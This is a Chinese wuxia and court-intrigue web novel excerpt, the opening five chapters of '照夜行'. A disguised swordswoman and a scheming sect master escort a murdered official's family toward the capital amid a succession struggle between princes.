《照夜行》 1. 逃杀 《照夜行》全本免费阅读 夜色降临,一轮残月悬在漆黑的天边,透着阴惨的白光。城外荒郊杂草丛生,寂静得只能听见凄惨的虫鸣声,以及狂风撕扯空气发出的悲鸣。 荒郊野外,唯一能沾上一点人气儿的,就只有坐落在此的一间破庙。这庙似乎荒废多时,其中只有一尊佛像孤零零地摆在贡台上,连烛火和贡品都没有,就算是饥渴至极的旅人也很少愿意在这里过夜。 只有被逼得走投无路的人,才会选择在此过夜。 庙里没有一丝火光,却隐约传来啜泣的声音。 一个七八岁的女孩坐在破旧的草席上,躺倒在身旁中年妇女的怀里,不住地哭泣。她极力地压制着自己的声音,捂着嘴,憋得满脸通红,仿佛是害怕招来什么人似的。中年女人一下一下地轻轻抚摸着女孩的后背,无声地安慰着她。 仔细一看便能发现,两人的穿着打扮虽说不上华丽明艳,但服装形制面料都极为考究,绝不是一般老百姓能穿戴得起的。只是经过了长途跋涉、千里逃难,原本精致的布料蒙上了一层厚厚的灰,被扯成一条一条的。面上脏污一片,看不出原本的容貌姿色,头发也乱蓬蓬的,披落在肩膀上。 母女身旁坐了个年纪轻轻的少年,大约只有十六七岁,眉眼间还透着一股稚气。他同样灰头土脸的,面上惨白一片,攥紧的拳头正在微微发颤。 这几日以来发生的事情,对张闻亦来说,恍如梦境一般。张小公子并不清楚事情的始末,只知道他爹得罪了顶上一位有名望的大官后就遭人毒手、死无全尸。生父去世,对于一个娇生惯养长大的孩子来说,已经是件难以承受的事情。可他还来不及为父哭丧守孝,连自己也遭到了仇家的追杀。若不是一队身着黑衣的高手神兵天降,他们这帮手无缚鸡之力的老弱病残早就成了杀手们的刀下亡魂了,哪里还能苟延残喘至此。 这帮黑衣高手自称张家暗养的护卫,可他爹是个满脑子只有政事的正经人,哪里会有心思偷偷养出这么一群高手来,而且没有一点风声。这些日子以来,张闻亦心里紧绷的弦从来就没松过,关于这群“护卫”的来历,他不敢细想。 张闻亦的视线不知不觉落在了一处角落—— 面色清冷的少女闭目靠坐在墙边,紧皱的眉头让人分辨不出她究竟是睡着了,还是在养神。她一身丫鬟打扮,穿着翠绿色的粗布短褐,梳了个简单的双平髻。少女和其他所有人一样灰头土脸的,却未见慌乱之色,反而镇定得出奇。张闻亦总觉得,她平静的面色之下,隐隐藏着一种汹涌的情绪,但那既不是害怕也不是担忧,而是愤怒。 少女似乎是察觉到了张闻亦的目光,猛地睁开双眼,锐利的目光朝这边射了过来,几乎要将张小公子钉在墙上,吓得他出了一身冷汗。张闻亦不敢招惹她,露出了一个讨好的笑容。 但她并没有收敛眼中的锋芒,反而站起身,一步步朝这边走来,将手按在腰间的刀鞘上。 张小公子大惊失色,左右张望了两下,瑟瑟发抖地站在原地,不知所措。 “戚……阿柔姐……” “嘘。”被称作‘阿柔’的姑娘将右手食指竖在唇边,示意他噤声。 不止张小公子闭了嘴,周围所有人都在一瞬间安静下来,就连张家幼女也停止了哭闹,瞪大了双眼,一动不动。 阿柔紧盯着张闻亦身后的大门,隐约能听到飒飒风声中夹杂着的轻微的脚步声,而且来得不止一个人。 就在一瞬间,紧闭的庙门突然被一股蛮力掀开,爆发出一声巨响,吓得张闻亦惊叫出声。 阿柔神情一凛,拔出腰间配的银色短刀,像一股风一样飞身护在呆愣在原地的张闻亦的面前,腾出一只手来将他往身后一推,喝道:“护着你娘和妹妹。” 阿柔的力气却出乎意料地大,这一推,直接让张闻亦跌坐在距离好几米开外的地上,疼得他直吸气。相比之下,张夫人显得沉静万分,将几乎快要吓晕过去的女儿埋在自己的怀中,捂住她的耳朵。 方才还一片平静的破庙,转瞬间刀光剑影、杀意重重。 张家护卫也在庙门被踹开的那一刹那警备起来,纷纷拔出武器,一圈一圈护在张家人的面前,形成了几道密不透风的人墙。 蒙着面的杀手破开门窗涌入庙中,将里面的人团团包围住。 阿柔手握短刀,目光紧紧地盯着为首的蒙面人身上。 那人显然也看到了她,暴露在外的眼眸露出一抹复杂的神色,面罩下的嘴唇好像动了动,却终于什么也没说出口。 阿柔一跃上前,手中的短刀直直地冲蒙面首领的面门刺去。蒙面首领瞳孔皱缩,侧身躲过这一刀,不得不同她交起手来。阿柔的一招一式都带着凌厉的锋芒,直戳对手的要害之处。相比之下,蒙面首领的招数就更偏于保守,以柔克刚、借力打力,甚至连腰间佩剑都未曾拔出来,也并不落于下风。阿柔的面色越来越沉,使出的招数也越来越狠,屡屡伸手去揭他的面罩,却总能被轻松化解。 “为什么不敢见人?”阿柔靠在蒙面首领耳边,低声说道。 蒙面首领手上的动作一滞,差点被阿柔钻到空子划了一刀。 周围同样打得激烈万分。杀手显然是冲着张家人的命来的,出手招招狠厉、直击要害。黑衣高手的目标也同样明确,就是拼死也要护住张家人。 但在这样杀伐果断的战局之下,张家护卫即使再训练有素、身手矫健,也很难完全看顾到身后这几个全然不会武功的普通人。再加上这么多天长途跋涉,缺少粮食和水,体力告罄,便逐渐败下阵来。 其中一名杀手趁此空当,闪身掠过几个防备不及的护卫,直冲张家人而去。 张闻亦看到闪烁的刀光,脑子一阵空白,本能地拦在了母亲和妹妹面前,闭上了双眼,身子不住地颤抖着,两条腿软绵绵地差点跪下。 阿柔扭头看到这一幕,瞳孔骤然收缩,不再和蒙面首领纠缠,飞身去拦杀手刺出的长剑。 可是距离实在是太远了,阿柔即使动作再快,也只能眼睁睁地看着那柄长剑逼近张闻亦的喉结。 张闻亦觉得自己浑身的血液在一刹那间停止了流动,可预想中的疼痛却并没有到来——一只飞镖以惊人的速度横飞而至,精准而狠厉地插在了杀手的心口处。他惊愕地睁大了双眼,跪倒在地上,口中淌出黑色的血,手中的剑也软绵无力地掉落下来。 一招毙命,狠辣至极。 变故发生得太快,让人来不及作出反应。而蒙面首领在看清飞镖的那一刻,脸色剧变,喝道:“撤!” 指令一出,杀手们不再恋战,以最快的速度从庙中撤出,立刻不见了踪影。而庙中剩下的人,几乎全部一脸茫然。 张闻亦腿一软,直接跪在了地上,“这就……走了?” 就在众人惊魂未定的时候,又有一 2. 怀疑 《照夜行》全本免费阅读 “阿柔姑娘不必多礼。”司言轻飘飘地扫了一眼阿柔腰间的短刀,“姑娘是张夫人的贴身婢女?” “是。” 司言略带几分玩味地道:“我只道张知州是个为政清廉、爱民亲民的好官,却不知张府竟如此卧虎藏龙,府中上下皆非等闲之辈。” “阿柔不知公子所言何意。”阿柔漠声说道。 “姑娘可知,一直以来追杀张家人的这群杀手是什么来历?”司言仿佛生硬地转了一个话题,他的声音很平淡,听起来没有什么波澜起伏。 这话让阿柔感到格外刺耳,但她却依然保持着淡漠的神情,不想让司言看透自己的心情,不卑不亢地说道:“阿柔一介奴婢,如何能知?” “不打紧,在下告诉姑娘便是。”司言对于这样的回答毫不意外,凑近她的耳边,低声说道,“这些杀手,出自云影山。” 阿柔眉头皱了皱,“云影派乃是江湖中享有清誉的名门正派,司言公子请慎言。” 司言打量了她一会儿,笑出了声。阿柔瞬间意识到自己说错话了,顿时面色沉沉,闷声不语。 “张夫人说,府中上下对于江湖之事知之甚微,看来此话也不尽然。”司言戏谑地道。 “公子与我说,追杀之人出自云影山,该不会只是为了诈我吧?”阿柔语气不善地道。 “在下背靠师门,自然不敢胡言乱语。但姑娘要知道,这天底下,绝对没有第二个人比在下更了解这世上之事,就算这些蒙面杀手将招式隐藏得再小心谨慎,我也有十足的把握能认出来。”司言收敛了玩笑的神色,看向阿柔,“这幕后之人是铁了心要置张家人于死地,请来的个个都是顶尖高手。张府护卫以少敌寡,背水一战,几乎人人都负了伤,而阿柔姑娘却能在蒙面首领的手下毫发无伤。贵府连一个丫鬟都身怀如此绝技,这让在下怎能不心生佩服?” 阿柔听出他话语中试探和质问的意味,心中也不慌张,只是冷笑了一声,“我记得那蒙面首领刚认出故渊门的飞镖,便毫不犹豫地带着手下撤走了,并未与司言公子直接交手,甚至连个照面都没有打。即便如此,公子仍然信誓旦旦,一口咬定追杀之人出自云影派。如此自信,阿柔远不能及,应当是阿柔佩服公子才是。” 司言假装听不懂她言语中的嘲讽,大大方方地接受了,“姑娘过奖了。” 阿柔:“……” 脸还挺大。 “话都说到这份儿上了,姑娘何不坦诚一些?”司言道,“你就没有什么想与我说的吗?姑娘深夜不眠,应当不只是来这里吹风赏月的吧。” 阿柔心中有了打算,便干脆地说道:“那封求救信,是我写的。” 司言并不惊讶,只是点了点头,“猜到了。” 阿柔抬眼看他,“从何得知?” “在庙中的时候,我提到了这封信的存在,张夫人下意识地看向了你。”司言回答。 “就凭这一眼?” “就凭这一眼。”司言道,“也许姑娘以为,这一眼只是不足为道的细枝末节,但事实真相往往就蕴含在细节之中。” 阿柔点了点头表示了然,继续说道:“我确实不是张府婢女。方才我不愿轻易交底,便扯了个谎,还请公子见谅。我算半个江湖中人,喜好云游四方,此行正好路过岐州。因家母与张夫人曾是故交,我幼时又受过张家恩惠,便有意去张府拜访,不想张府突生事变,知州大人因得罪权臣而遭人暗算,张夫人携一双儿女流落在外,下落不明。我费了好些功夫才找到他们,为了报恩而倾身相护,也想替他们寻一个容身之所。”阿柔说道,“但我力量有限,只好找上了故渊门。” 司言沉静地听完了她的叙述,夸赞道:“姑娘当真是个有情有义的人。” “谈不上,只是报恩罢了。”阿柔觉得自己可担不起这么高的赞美,起了一身鸡皮疙瘩。 “即便如此,姑娘也不必扮作丫鬟吧?”司言又问。 “我刚找到张家人的时候,他们才刚从岐州逃出来。那群护卫疑心重,不肯轻易信我,我便信口胡诌说自己原是夫人身边的丫鬟,逃亡时走散了,求他们带我一起走。”阿柔回答。 司言觉得有些好笑,不太能想象得来眼前这个性情冷淡的人,求起别人来该是什么模样。 阿柔看了他一眼,用冷冷的目光表达了对他努力憋笑的行为的不满,没好气地说道:“我听闻,故渊门是个世外桃源,不受世俗礼法约束,门人性情和善、慷慨大方,经常施恩于山下百姓,收留过很多因政治迫害而无家可归的无辜之人。我原以为,故渊门既然肯出手相助,应当考虑清楚该如何安置他们了。可在庙中听公子的意思,竟要将他们送到京城去,这是何故?” 司言问道:“你可知张知州得罪的是什么人?” 阿柔想了想,道:“不知。” 司言无奈地笑了一下,“我就姑且当你是真的不知吧。” 阿柔:“……” 迎着阿柔锐利的目光,司言继续道:“宣睿侯祁照,世袭爵位,掌管整个烟云四州的军务,在这一带可谓是只手遮天。如此权高位重,不免干出些蝇营狗苟的勾当来。张知州管辖的岐州,正好属于烟云四州,这些年共事下来,知州大人收集了不少关于祁照鱼肉百姓、横行乡里的罪证出来,可还未来得及寻找机会上报朝廷,便被祁照提前探知了消息,这才身死人手。” “这祁照在烟云四州横行作乱,搅弄得百姓苦不堪言。名声败坏至此,朝廷却始终没有任何作为,情理何在?”阿柔说到此处,眉头紧锁,不自觉攥紧了拳头。 “姑娘以为,宣睿侯不遗余力地要置张家亲眷于死地,只是为了泄愤吗?”司言问。 阿柔仔细想了想祁照此人的名声与所为,然后认真地答道:“也不是没可能。” 司言:“……” 好像也很有道理。 被噎了一下之后,司言头疼地继续说道:“我说要护送张家人入京,张夫人对此并未反驳,便斗胆猜测猜测夫人对于知州大人这些年来的计划是有所参与的,并且手握对宣睿侯非常不利的关键证据。” “所以,你想让他们作为人证入京,揭发宣睿侯为非作歹的行径?”阿柔问。 “正是如此。” 阿柔觉得有些不解,“故渊门一介江湖门派,居然也管起朝中之事来了?” “姑娘此言差矣。”司言面上带笑,眉眼间却已不见了笑意,“宣睿侯背地里做的脏事,远比姑娘想象的要多。你在烟云四州也待了一段时日,大概对这一带盗匪横行之事有所耳闻,想必也很好奇,匪患如此严重,却为何一直没有被治理吧?” 阿柔思索片刻,点了点头,心中确实对这件事有所疑虑。 司言冷笑一声,眸中暗藏杀机,极力地忍耐着愤怒与厌恶混在一起的复杂情绪,“祁照本人与匪勾结,搜刮民脂民膏,从中牟取暴利。这么一个权高位重的人带头作乱,底下的人怎敢轻易忤逆?” 阿柔从未想过烟云四州的匪患竟有如此内情,一时间,惊讶错愕与憎恶愤慨同时用上心头,神情更凛冽了几分,咬牙切齿地骂道:“当真是不配为官。” “应当说是不配为人。”司言补充。 阿柔稍缓一阵,抬头看向司言,严肃地道:“宣睿侯把事情捂得这么死,你又如何得知?” “只要是真实发生的事情,就不可能真的密不透风。”司言回答,“况且,故渊门一向以消息灵通之名而立足于江湖之中,我能打探到这些事情,也并不奇怪。” 关于故渊门消息灵通这一点,阿柔倒是有所耳闻,这番说辞也并无不妥之处,点了点头表示相信。 “故渊门一介江湖门派,原本确实不应插手朝中之事。”司言神色少有的认真,“可是身为大昭百姓,你我皆不能容忍宣睿侯这样的狗官为非作歹,迫害百姓。张知州为了揭发宣睿 3. 筹谋 《照夜行》全本免费阅读 第二天一早,马车果然在庙外等候。 故渊门人已经不见了大半,大概是在暗处默默守着。追杀之人摸不清楚他们的人数和行踪,多少也会更忌惮一些。 等张家三人都上了车,司言牵着一匹马来到阿柔面前,问道:“会骑马吗?” 阿柔本就不欲在身手方面过多隐瞒,下巴一抬,点了一下那匹马的方向,“给我准备的?” “你倒真是不客气。”司言忍俊不禁。 “公子财大气粗,一匹马而已,断不会与我这小女子计较吧。”说话间,阿柔已然动作利落地翻身上马,由上而下俯视着司言,挑衅地一挑眉。 清晨的日光下,少女的面容张扬明艳,颇有些恣意洒脱在其中,竟然令司言有一瞬的晃神。 不过很快,他就恢复了正常的神色,保持着面上的笑意,问道:“阿柔何以见得?” “一个偌大的门派运转起来,难免需要钱财支撑,因此除了正常传授功夫之外,或多或少还要干一些别的营生来维持生计。有人经商,有人走镖,有人……”阿柔说到这里顿了顿,神情有一瞬的晦暗,然后才说道,“有人则是贩卖消息,正如你们故渊门。江湖上谁人不知故渊门无所不知,拥有一张巨大的消息网,就连朝中之事都有法子打听到,这贩卖消息的生意是越做越大,到现在竟成了故渊门的招牌。有这样的产业作为支撑,可不就是财大气粗吗?” “阿柔竟也懂这门派运转之事?”司言有几分意外地道。 阿柔默然片刻,低声说道:“知之甚微罢了,算不上懂。” 司言将她的神色尽收眼底。 还不等他说话,阿柔便先一步说道:“公子是来与我闲聊的吗?时候不早了,快些走吧。” 说罢,阿柔一勒缰绳,骑着马径自走在队伍的最前端。 司言望着她的背影,无奈地笑了一下,“脾气倒挺大。” 大昭的都城长祈位于岐州的正北方,但直接北上必然会经过宣睿侯掌管的烟云四州,为了避免羊入虎口,一行人只好从东边绕道而行。 破庙截杀那晚,若不是故渊门及时赶到,张家人怕是早已被灭口。杀手不战而退,并不是因为忌惮故渊门,还因为对他们的到来毫无防备。但并不意味着他们会放弃接下来的行动,在商量好下一步的计划之后,这帮杀手仍然会卷土重来,因此不能放松一点警惕。 信誓旦旦地保证自己会倾力保护张家人的司言却是全队最悠闲的人,骑着马闲庭漫步。关键在于,司言是全队的领头人,他的速度决定了全队人的速度。这怡然自得,缓步慢行的姿态,不知道的还以为他们是来这一片云游的呢。 阿柔的脸色肉眼可见地一点一点沉了下去,最终忍无可忍地说道:“司言,你这是带着我们散步呢?” 司言看向她,玩笑地回答:“终于改口不叫公子啦?” 阿柔的脸色更沉了几分。 司言不再逗她,而是苦口婆心地劝说道:“我知道阿柔是女中豪杰,不似寻常闺阁女子那般娇弱。只是这一路车马颠簸,张家母子如何受得了?再说张家护卫几乎人人负伤,就更不宜快马前行了。女侠,你也体谅体谅他们吧。” 阿柔思忖片刻,觉得有几分道理,脸色缓和少许,但很快又皱起了眉头,“你莫不是在说我皮糙肉厚吧?” 司言没忍住笑了一下,“我哪敢呢,阿柔可别冤枉我。” 阿柔十分小声地嘟囔了一句,“你最好是不敢。” 司言面上仍带着笑意,“照这个速度,大约傍晚时就能到达来阳,张家上下奔波了这么多天,也该休整几日,总不能一直投宿荒庙中。来阳那边有故渊门的暗桩,我已吩咐人准备好住处,顺便寻个大夫给负伤的护卫们瞧瞧。” 阿柔点了点头,心想此人安排起事情来,倒是真的十分贴心细致。 …… 都城长祈,怀王府。 “这么多天过去了,怎么还没得手?!”身着锦衣华服的青年男子从檀木椅子上猛地站起来,气急败坏地甩手一挥,宽大的袖袍直接将桌上摆放的花瓶拂到地面上,顿时摔得七零八碎。 此人正是怀王李晁烨,皇家嫡子,圣上亲封正一品亲王,是整个大昭势力最为强劲、羽翼最为丰满的皇子,也是最有可能登上皇位之人。 明面上虽然还有东宫高他一头,但太子生性软弱、不喜争抢。就连这个“太子”的名号,也只不过是皇上为了牵制朝中势力所封,根本有名无实。至于其他几位兄弟,要么慧极早殇,要么蠢笨无能,他便更加不放在眼里。 在高位待得太久,怀王已经很少会有危险将近的紧张之感了。不想这次,麾下大将宣睿侯却栽在一个小小知州的手上。一旦放任张家人带着证据来到京城,他便只能忍痛割腕,放弃掉烟云四州的兵权。 本以为有江湖高手相帮,灭口几个老弱病残简直易如反掌,可底下的人却一次又一次地失手了,李晁烨如何能咽下这口气? 前来通报之人是李晁烨多年来的亲信。黎秋很少见到自家殿下如此恼羞成怒,慌忙单膝跪在地上,低着头回道:“底下人办事不利,还请殿下息怒。但据来信所说,这次行动原本是顺利的,若不是故渊门突然插手,张家人根本不可能侥幸逃脱。” 李晁烨皱了皱眉头,重新坐了下来,“江南领主故渊门?” “正是。” “江南领主”其实是江湖中一个上不了台面的戏称,毕竟普天之下莫非王土,没有人敢光明正大地说江南是故渊门的领地。但这一带的百姓却又实实在在地受着故渊门给予的恩惠,并对其感恩戴德,官府的名望甚至都及不上这么一个江湖门派。 “这倒是奇了。”李晁烨的情绪稳定下来,沉声分析着,“江南离烟云四州还算有一段距离,故渊门从哪得来张家的消息,又为什么要横插这一手?” “依属下愚见,这背后明显有人在搅弄殿下的计划。张家既无财力,又无背景,却屡次得人相护。一开始是黑衣高手神兵天降,再后来是故渊门突然插手。此事疑点重重,殿下不能不防。”黎秋说道。 闻言,李晁烨眉间的阴霾更重了几分,一只手扶住额头,闭上了双眼。 他不是没怀疑过朝中有人为了拔除他的羽翼而从中作梗,只是一来不愿承认真的会有人敢挑战他这些年来竖起的威信,二来实在想不出究竟会是谁在暗地里搅弄风云。 是他一直以来不争不抢的太子长兄,还是其他几个从未被他放在眼里的兄弟? 李晁烨似是突然想到了什么,猛地睁开眼,问道:“承王现今走到哪了?” 承王李晁奚,在皇上还未登基时,由府中侍妾所出。五殿下身份低微,天资愚钝,一直不受圣上喜爱,屡屡受人白眼,李晁烨不曾与他来往,甚至都快对他没有印象了。可前些时日,皇上却突然拨给他三千精兵,派他治理烟云四州的匪患。 这正巧也是宣睿侯身上的一个把柄,世上怎么可能会有如此巧合之事? 黎秋恭敬地道:“回殿下,算算时日,应该到来阳城附近了。” 李晁烨面色一沉,神情肃杀,“继续找人盯着五皇子,一旦有任何风吹草动,立马来报。” 没有人能阻止他走向那个天下至尊的位置。若是有,便要让那个人付出粉身碎骨的代价。 …… 司言此人说到做到,办事效率极高。说好要为他们安排落脚的地方,就真的提早派人在来阳清扫出一处又干净又宽敞的院落出来。 张闻亦已经许久没有用过一顿正经的晚膳了,他却并没有感到高兴,而是心事重重地在院子里散步吹风。 这世上之事,最可怕的不是突遭厄运,而是在厄运发生之后,仍然被人蒙在鼓里,完 4. 承王 《照夜行》全本免费阅读 深夜,偌大的庭院寂静无声。张家人一路逃亡,早已不堪重负,刚沾上枕头就沉沉地睡了过去。 没人发现,在夜深人静之时,院子里的偏门被小心翼翼地打开了,一个黑色的人影悄悄地溜了出去,声音极轻,连树上的蝉都没有惊动。 黑衣护卫一路轻功,目标明确地来到鸿兮客栈。整栋楼灯火俱灭,只有楼上一扇敞开的窗里还透着微弱的烛光。他一跃而上,轻松地翻进了房间里,一抬眼就看到身着玄色锦衣的年轻男子坐在椅子上,正在把玩着手中的剑鞘。 黑衣护卫单膝跪地,尊敬地道:“参见殿下。” “殿下”闻言抬起头来看向他,眸中不见喜怒,“云飏,还记得当初,我把你从奴籍赎回来的时候,你是怎么与我承诺的吗?” 云飏一怔,低下了头,“云飏这辈子愿做殿下的剑,誓死效忠于殿下!” “做我的剑……”玄袍男子玩味地重复了一遍这句话,“我想要的剑,须得锋芒逼人、吹毛利刃,于无形之间直取敌人性命。而不是输得丢盔弃甲,连跟在身后的尾巴都发现不了。” 云飏大惊失色,直接跪倒在玄袍男子面前,“属,属下惶恐!” 男子轻笑一声,正对着窗口,悠悠说道:“阁下深夜来访,何不出来一见?” 窗外树叶簌簌作响,沙哑地低吟着,一阵凉风卷着寒意吹进房间里。只见一个身影动作利落地从窗户翻身进来,面上带着笑意,屈身行礼道:“故渊门司言,见过承王殿下。” 李晁奚站起身来,眯着眼睛打量着面前的男子,“久闻阁下大名,真是百闻不如一见。” 云飏彻底懵了,跪在原地瑟瑟发抖,不知所措,更不知道主子会不会因为此事降罪于他。 然而李晁奚只是淡漠地扫了他一眼,说道:“你先下去。” 云飏忙不迭地应声走了。 “明人不说暗话,张家逃杀一事中,本王承担的戏份,想必阁下一定都猜到了吧。”李晁奚说道。 “这并不难猜。”司言回答。 宣睿侯是怀王麾下的重臣,手握西南之地的军政大权。烟云四州的百姓都只知祁照为人贪得无厌、搜刮民脂民膏,甚至与土匪做起了钱权交易,却不知他费尽心思牟取的这些暴利大部分都流入了怀王的口袋里。夺嫡之路,不仅仅需要智谋,更需要金钱的支撑。 若祁照倒台,怀王阵营必定元气大伤,有心之人便能趁机扶自己的人上位。 张家遗孤带着掐住祁照命脉的证据流落在外,皇上又刚好在此时下旨治理烟云四州匪患。这两件事,如利刃一般直直地插在宣睿侯和怀王的心上,如何能用一句巧合来解释? 这一路护送张家人出逃的黑衣高手,根本就不是张府护卫,而是承王豢养的私兵!云飏大半夜偷偷至此,也是为了亲口向主子汇报这些时日发生的事情,只是没想到被司言一路尾随。 “阁下深夜来此,必定不是与我闲聊的吧。本王倒是好奇,阁下在此事中又扮演了怎样的角色?”李晁奚神色晦暗不明,眼中却带着警惕。 “殿下不必紧张,在下与您是一条船上的人。”司言分明是笑着的,但却让人莫名有些不寒而栗,“张家遗孤便是我送给殿下的见面礼,殿下可满意?” 李晁奚却并没有因为他这句自表阵营的话而放松,神情一滞,拧着眉道:“你究竟所谋为何?” 司言缓缓说道:“在下深知殿下胸中丘壑,故渊门愿意倾力相助,扶殿下完成大业。” 话音落下,一阵无言,屋内寂静得只能听到窗外的徐徐风声。李晁奚毫不掩饰目光中的审视,而司言则是云淡风轻地回望着他,唇边还留有浅淡的笑意。 “故渊门是江湖中德高望重的名门正派,为何牵扯进朝局中来?”李晁奚问道,“更何况,你明明可以选势力更为强大的怀王,或是身份更为尊贵的太子,又为何挑中我这个既无出身、又无谋略的闲散皇子?” “故渊门所求,远不止江湖之远的名声清誉。人生在世,谁不想放手一搏,赌个前程,也许就流芳百世、名垂青史了呢?”司言淡然地说道,“至于第二个问题,就更不必怀疑了。殿下这些年步步为营、锋芒不显,暗中培养自己的势力,不正是为了今天这步棋吗?怀王骄傲自满,太子软弱无能,而殿下却能韬光养晦、顽强隐忍这么多年,如此谋算,令人佩服,殿下何须妄自菲薄?” 李晁奚半晌没说话,显然是在思考他这番话有几分真几分假。司言也不急,就那样静静地等待着。 过了一会儿,李晁奚才继续说道:“故渊门能为我带来什么?” “故渊门以消息灵通之名立足于江湖,这天下之大,没有我故渊门打听不来的事。殿下可有想过,这些消息从何而来?” 李晁奚悚然一惊,一股凉意涌上心头。 是啊,故渊门既然以消息灵通而闻名于世,必定有一张完备而宏大的消息网。这张网牵涉的范围到底有多大?为何连朝廷之事都一清二楚?故渊门最初布下这张网的时候,难道就已经在位夺嫡之争而铺路了吗? 李晁奚看着面前这个二十出头的年轻男子,心中警铃狂响,起了一身的鸡皮疙瘩。 “还有一点。”司言却继续说道,“怀王手下有云影派,而殿下呢?” 此次事变中,负责灭口张家人的杀手便是出自云影派。也就是说,怀王麾下不仅有文臣武将,还掌握了一部分江湖势力。 相比之下,李晁奚虽然也暗中拉拢了一些朝臣,但对于军方以及江湖方面的掌控仍是一片空白。如此悬殊的差距,不知道要靠多少年的谋算才能弥补。 “殿下没有时间了。”司言仿佛知道承王心中在想什么,用最平淡的语气说出最刺耳的话,缓缓刺在李晁奚的心头。 李晁奚神色一凛,“什么意思?” “这次圣上下旨治理烟云四州匪患,实在殿下的计划之外。”司言说道,“怀王在朝中的势力如日中天,难以撼动,就连作为制衡权势之棋子的东宫太子也难挡其锋芒,如此情形,圣上心中怎能不慌张?他可以容忍党派相斗、互相残杀,但绝对不能容忍一家独大,损害天子之威。先前,圣上并非真的不知烟云四州匪患,只是他需要留下这一步棋来作为制衡怀王的筹码。如今,圣上无法再容忍怀王继续发展势力,只好先拔掉他的左膀右臂,再扶持别的皇子上位,以此作为警告。或许殿下原先准备再韬光养晦几年,等到足以与怀王相抗之时再出这个头。但陛下此举,却无形之中打乱了殿下原本的计划,以至于殿下不得不提前卷入夺嫡之争。” “不愧是故渊门门主,对于朝中之事如此通透,实在令本王佩服。只是有一点,阁下还是算错了。”李晁奚冷脸说道。 司言略一挑眉,神色如常。他并未说明“门主”这层身份,但被承王戳破,也未觉意外。他像是来了兴致,说道:“愿闻其详。” “陛下指派我来办这件事,并非是想扶持我。”李晁奚自嘲着道,“若我因为此事得罪怀王,最终遭遇报复而死,陛下不会感到分毫愧疚,也不会给予我半点怜悯,因为他根本不在乎我的死活。” 司言有一瞬的沉默,旋即道:“在下所言之事,殿下考虑得如何?” 李晁奚微微扬起下巴,“与你合作,无异于是与虎谋皮。” 司言笑了一下。 “但往后的路,便是刀山火海,本王也会一步一步走下来,与虎谋皮又何妨?” …… 清早,阿柔洗漱过后便出门了。 来阳属于故渊门管控的地界,有安插在城内外各处的故渊门人暗中相护,非常安全。照司言的意思,他们将在此休整一段时日,再北上入京。 阿柔跟着张家人流亡多日,对于现下局势的了解有些滞后,于是在街上寻了一家正处繁华地带的茶楼,随手点了几样店中招牌,坐在户外的椅凳上,细细听街上往来之人的交谈。 她的目力与耳力都极好,常常能听清楚一些极细微的谈话。 只是坐了约莫一炷香的时间,桌上的茶也凉了,听到的却大多是一些鸡毛蒜皮的小事,要么是张三偷了李四家的鸡啦,要么是王麻子家请媒婆说了门亲事啦,要么是流仙坊的头牌已经好几日不曾接客啦……就没有一点有用的信息。 阿柔一无所获,长叹了一口气,在心中安慰自己道:这恰好说明此地民风淳朴、百姓安居乐业,没有忧患,实乃幸事啊! 还没来得及感叹完,就听到隔壁一个粗犷的汉子扯着嗓子道:“你们听说了没,最近咱们来阳要来个贵人。” 阿柔立刻被吸引过去,竖起耳朵听起来。 “贵人?什么样的贵人? 5. 来阳 《照夜行》全本免费阅读 阿柔面色未见慌乱,“我的确师承云影派,你没有看错。” 司言浅笑着松了手,放开对阿柔的禁锢。 “当然,故渊门门主的智谋手段,也同样让人佩服。”阿柔稍稍活动了下胳膊,“朝廷官员、王公贵族,皆在你的棋盘之中。” “此话怎讲?”司言似乎觉得很有意思。 “我原本以为,故渊门会插手此事,源于我写的那封求救信,现在看来却并非如此。”阿柔说道,“荒庙那晚你曾说过,只有让张家人在朝堂之中揭露宣睿侯的罪行,烟云四州的百姓疾苦才能传入天子之耳。我那时便在想,你一介江湖中人,凭什么认为自己有能力把张家人的证据上呈朝堂?后来我才想明白,故渊门恐怕早就算计好要涉入朝局之中,而护送张家人,是你向承王示好的第一步。” “半分不假,在下佩服。”司言被戳穿了也并不恼,保持着一贯云淡风轻的笑意。 “那茶楼的小二,该是你的人吧?” 司言一挑眉,玩味地说道:“这你又知道了?” “来阳地方偏僻,消息闭塞,平日里计较的都是些鸡毛蒜皮的小事,对于庙堂之上的纷争根本一窍不通,又是从哪里来的传言,说承王殿下不日就将抵达来阳?”阿柔双手抱胸,背靠着墙,“你这样大张旗鼓地将传言散播出去,想必一定是有事实依据的吧,兴许殿下本人早就到达来阳了。” “不错,那茶楼的确是故渊门的产业,消息也是我故意放出去的。”司言赞赏地看向阿柔,“圣上指派承王殿下来此剿匪,必定会得罪朝中一大批以宣睿侯为首的怀王党,从今往后,便是想要低调也不可能了。朝廷原先对于匪患不闻不问,任凭其发展壮大、祸害百姓。然而就在此时,承王殿下来了,西南一带所有百姓和官员都会知道,究竟是谁将要救他们于水火之中。” 阿柔不屑地嗤笑了一声,毫不掩盖语气中的嘲讽之意,“门主好算计,先将张家一行人送到承王眼前,又助他剿灭匪窝、立下功德。待承王殿下回京,这朝廷也该变天了。烟云四州的百姓,在你眼中,不过是用来积德立威的棋子而已。” “阿柔非要这么想,我也没有办法。”司言既不恼怒,也不羞愧,只是平淡地说,“但在我看来,只要最终能达到善意的目的,动机单纯与否又怎样呢?” 阿柔冷哼一声,不欲同他这番理论争辩。 司言见她不说话,便主动贴上来,在她耳侧说道:“我是动机不纯,那阿柔你呢?荒庙之夜,承王派来护送张家人的精兵或多或少都受了伤,只有你一人毫发无损,究竟是你身手登峰造极,还是那蒙面首领不愿伤你?怀王指使云影派一路追杀张家人,你的武功又师承云影派。阿柔,你倒是说说,我们两个之间,究竟是谁更可疑一点?” “你不必在这里拐弯抹角。以故渊门的本事,要查清我的身份,还不是易如反掌。”阿柔不动声色地拉开了和司言的距离。 “年纪轻轻,师从云影,擅使短刃。身在江湖,却熟悉庙堂纷争。身份尊贵,又与张家有一段渊源。我这些日子思来想去,还真就想出了一个人选。”司言看向阿柔,一字一句地说道,“景西王戚叶临之女,戚雪柔。” 